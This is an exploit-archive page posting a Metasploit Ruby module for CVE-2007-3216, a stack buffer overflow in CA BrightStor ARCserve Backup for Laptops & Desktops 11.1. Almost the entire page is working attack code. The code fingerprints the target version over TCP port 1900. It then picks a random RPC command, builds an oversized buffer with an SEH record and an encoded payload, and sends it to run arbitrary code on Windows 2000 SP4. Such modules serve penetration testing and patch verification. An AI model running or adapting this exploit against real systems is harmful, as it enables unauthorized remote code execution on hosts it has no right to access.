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CA BrightStor ARCserve for Laptops & Desktops LGServer Multiple Commands Buffer Overflow

CA BrightStor ARCserve for Laptops & Desktops LGServer Multiple Commands Buffer Overflow
Posted Nov 5, 2010
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup for Laptops & Desktops 11.1. By sending a specially crafted request to multiple commands, an attacker could overflow the buffer and execute arbitrary code.

tags | exploit, overflow, arbitrary
advisories | CVE-2007-3216
SHA-256 | dcb2417dfc25bb4cf8007645bf127c9227b5ea1af8a18f0d2939b5b48d9cd2f2

CA BrightStor ARCserve for Laptops & Desktops LGServer Multiple Commands Buffer Overflow

Change Mirror Download
##
# $Id: lgserver_multi.rb 10909 2010-11-04 23:59:56Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Multiple Commands Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
for Laptops & Desktops 11.1. By sending a specially crafted request to multiple commands,
an attacker could overflow the buffer and execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10909 $',
'References' =>
[
[ 'CVE', '2007-3216' ],
[ 'OSVDB', '35329' ],
[ 'BID', '24348' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 SP4 English', { 'Ret' => 0x75022ac4 } ],
],
'DisclosureDate' => 'Jun 6 2007',
'DefaultTarget' => 0))

register_options([ Opt::RPORT(1900) ], self.class)
end

def check

connect

sock.put("0000000019rxrGetServerVersion")
ver = sock.get_once

disconnect

if ( ver =~ /11.1.742/ )
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe

end

def exploit

connect

rpc_commands = [
"rxsAddNewUser",
"rxsSetUserInfo",
"rxsRenameUser",
"rxsExportData",
"rxcReadSaveSetProfile",
"rxcInitSaveSetProfile",
"rxcAddSaveSetNextAppList",
"rxcAddSaveSetNextFilesPathList"
]

rpc_command = rpc_commands[rand(rpc_commands.length)]

data = rand_text_alpha_upper(62768)

data[58468,8] = generate_seh_record(target.ret)
data[58476,payload.encoded.length] = payload.encoded

sploit = "0000062768" # Command Length Field
sploit << rpc_command # RPC Command
sploit << "~~" # Constant Argument Delimiter
sploit << data

print_status("Trying target #{target.name} with command '#{rpc_command}'...")
sock.put(sploit)

handler
disconnect

end

end
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